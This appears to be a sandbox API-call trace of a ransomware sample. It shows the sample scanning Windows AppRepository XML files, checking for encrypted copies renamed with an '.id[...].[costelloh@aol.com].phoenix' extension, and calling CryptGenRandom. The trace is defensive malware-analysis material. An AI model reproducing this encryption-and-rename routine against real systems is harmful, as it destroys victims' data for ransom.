	[0229.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.825] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16966) returned 1
	[0229.825] CloseHandle (hObject=0x2f0) returned 1
	[0230.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.083] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.083] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.083] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.083] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2050) returned 1
	[0230.084] CloseHandle (hObject=0x2f0) returned 1
	[0230.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.084] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.084] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=14906) returned 1
	[0230.084] CloseHandle (hObject=0x2f0) returned 1
	[0230.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.085] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.085] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.085] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.085] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13328) returned 1
	[0230.085] CloseHandle (hObject=0x2f0) returned 1
	[0230.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.086] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ContentDeliveryManager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.contentdeliverymanager_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.086] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.086] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.086] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=88880) returned 1
	[0230.086] CloseHandle (hObject=0x2f0) returned 1
	[0230.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.086] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.087] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.087] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.087] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2324) returned 1
	[0230.087] CloseHandle (hObject=0x2f0) returned 1
	[0230.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.087] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.087] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.087] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.088] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3840) returned 1
	[0230.088] CloseHandle (hObject=0x2f0) returned 1
	[0230.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.088] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ModalSharePickerHost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.modalsharepickerhost_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.088] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.088] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.088] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1997) returned 1
	[0230.088] CloseHandle (hObject=0x2f0) returned 1
	[0230.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0230.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.089] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.089] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.089] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.089] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1999) returned 1
	[0230.089] CloseHandle (hObject=0x2f0) returned 1
	[0230.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0230.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.089] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.089] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.090] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.090] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2251) returned 1
	[0230.090] CloseHandle (hObject=0x2f0) returned 1
	[0230.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.090] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.090] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.090] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.090] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=832) returned 1
	[0230.090] CloseHandle (hObject=0x2f0) returned 1
	[0230.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.091] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=931) returned 1
	[0230.091] CloseHandle (hObject=0x2f0) returned 1
	[0230.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.091] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=59903) returned 1
	[0230.092] CloseHandle (hObject=0x2f0) returned 1
	[0230.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
